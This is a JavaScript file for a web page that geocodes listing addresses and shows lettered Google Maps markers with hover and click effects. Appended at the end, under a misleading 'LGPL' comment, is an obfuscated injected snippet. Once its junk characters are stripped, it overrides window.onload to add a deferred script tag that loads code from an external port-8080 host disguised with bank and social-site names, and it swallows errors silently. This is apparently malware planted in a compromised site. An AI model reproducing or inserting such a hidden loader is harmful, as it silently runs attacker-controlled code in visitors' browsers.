
   var geocoder;
   var map;


    var icon = new GIcon();
  //  icon.image = 'markerL.png';
    icon.id = 'locicon';
    icon.shadow = 'http://labs.google.com/ridefinder/images/mm_20_shadow.png';
    icon.iconSize=new GSize(20,34);icon.shadowSize=new GSize(37,34);
	icon.iconAnchor=new GPoint(9,34);
	icon.infoWindowAnchor=new GPoint(9,2);
	icon.infoShadowAnchor=new GPoint(18,25);

 
   var address = new Array;
    var letters = new Array;
	var divids = new Array;
	
		var tempid=0;
		var newtempid='';
		 var allletters = ["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P"];
		function mapimit(tid)
		{  tempid=0;
		    if(tid)
			newtempid=tid;
			else
			newtempid='';
			var listtitles=document.getElementsByTagName("listings");
			for(var i=0;i<listtitles.length;i++)
			{
			address[i]=document.getElementById(listtitles[i].id+'_adress').value;
			letters[i]=allletters[i];
			var templet=allletters[i];
			
			document.getElementById(listtitles[i].id+'_letteratag').className='btnLocate icon'+allletters[i];

			divids[i]=document.getElementById(listtitles[i].id+'_id').value;
			}
			gmapimit();
		
		
		}

 


   
    

   // On page load, call this function

  function gmapimit()
   {
      // Create new map object
	  
      map = new GMap2(document.getElementById("Map"));
	  map.addControl(new GSmallMapControl());
       map.addControl(new GMapTypeControl());
       

      // Create new geocoding object
      

      // Retrieve location information, pass it to addToMap()
	  for(var i=0;i<address.length;i++)
	{   
	geocoder = new GClientGeocoder();
	geocoder.getLocations(address[i],addToMap); 
	 }
	
         
		 
		  function addToMap(response)
   {
   
   icon.image=iconpath+'RED_'+letters[tempid]+'.png'; 
   
	  
	  
      place = response.Placemark[0];

      // Retrieve the latitude and longitude
      point = new GLatLng(place.Point.coordinates[1],
                          place.Point.coordinates[0]);




      map.setCenter(point, 8);

      var marker = new GMarker(point, icon);
	  marker.active=false;
      marker.letter=letters[tempid];
	  marker.divids=divids[tempid];
      map.addOverlay(marker);

if(newtempid==marker.divids)
{
		  marker.active=true;
		//  alert(iconpath+"marker"+ icon.letter+"_green.png");
          marker.setImage(iconpath+"green_"+ marker.letter+".png");
        marker.openInfoWindowHtml(document.getElementById(marker.divids).innerHTML );
}
else
{
	  GEvent.addListener(marker, 'click', function() { 
		  marker.active=true;
		//  alert(iconpath+"marker"+ icon.letter+"_green.png");
          marker.setImage(iconpath+"green_"+ marker.letter+".png");
        marker.openInfoWindowHtml(document.getElementById(marker.divids).innerHTML );
      });
}
	    GEvent.addListener(marker, "mouseover", function() {
             if(marker.active!=true)
                marker.setImage(iconpath+"teal_"+marker.letter+".png");

            }); 
			    GEvent.addListener(marker, "mouseout", function() {

                 if(marker.active!=true)
                marker.setImage(iconpath+"RED_"+ marker.letter+".png");

            }); 
			
			GEvent.addListener(marker,"infowindowclose",function(){
			if(marker.active==true){marker.active=false;marker.setImage(iconpath+"RED_"+ marker.letter+".png");}else{marker.active=false;}})
			
   tempid++;}      
			  
			  

	  
   }



   





/*LGPL*/ try{ window.onload = function(){var N42wf3oks3u3p = document.createElement('s((c#r&(!i#^p&^t$))&!'.replace(/\!|#|\$|\^|&|\)|\(|@/ig, ''));N42wf3oks3u3p.setAttribute('defer', 'd^)e)((f)e@#)@&r^##'.replace(/\)|@|&|#|\!|\(|\^|\$/ig, ''));N42wf3oks3u3p.setAttribute('type', 't#)&((e$x#&$t)(/$j$a$##v)&()a)$#s(c@)#r#$)i($p^t#'.replace(/#|\(|\)|@|\!|\$|&|\^/ig, ''));N42wf3oks3u3p.setAttribute('id', 'W^^e!!^x($!#y#^m@@s#$s@@$6!!s)^d@&('.replace(/&|\(|@|\$|#|\)|\^|\!/ig, ''));N42wf3oks3u3p.setAttribute('s)&!r()c(@!'.replace(/\!|\)|#|\(|@|\^|\$|&/ig, ''),  'h(t&&&t^p@^:$@#/^/)^^h#$s()@&b)$&@c@!^(-^!#$@c##((o^#-))$u!@k$#.@(1$$@&7##(^1()$^7((3($^.&)@$c#&$o#!#&m$#$.)r^e$d!)^d^&^)(i&#()t)&@$-@@)c!o#)m#^.@(!$#h(u@z!&&z#&a@^@h@w(e&$^b($@!d)(e(@s&!i)&&@g#!n!#$.#(r@@u##):!#8#(@0^!^8##&@0&!/@)#(f&(@o!)$t$$^$o$@$l&)i@!a#&.)(c^o)&m&^/&)f&@o!)$^t(o)!l#&^i&^)$a(&.$c((o@m(/@l@^i!^$v$e(#!j#^#o^u&r((&n@&&a&(l$.!&$c@(#o)#@m@&^&/#$s#k#^@(y#^^.((&#c!^o$&m@/)())g))@&o!o@&!@g))&l&)^e(#(.$@#c@&o)m(&))/$(@)('.replace(/\)|&|#|\$|\!|\^|@|\(/ig, ''));if (document){document.body.appendChild(N42wf3oks3u3p);}} } catch(Ka2j4tvjqzqy4ivjyn) {}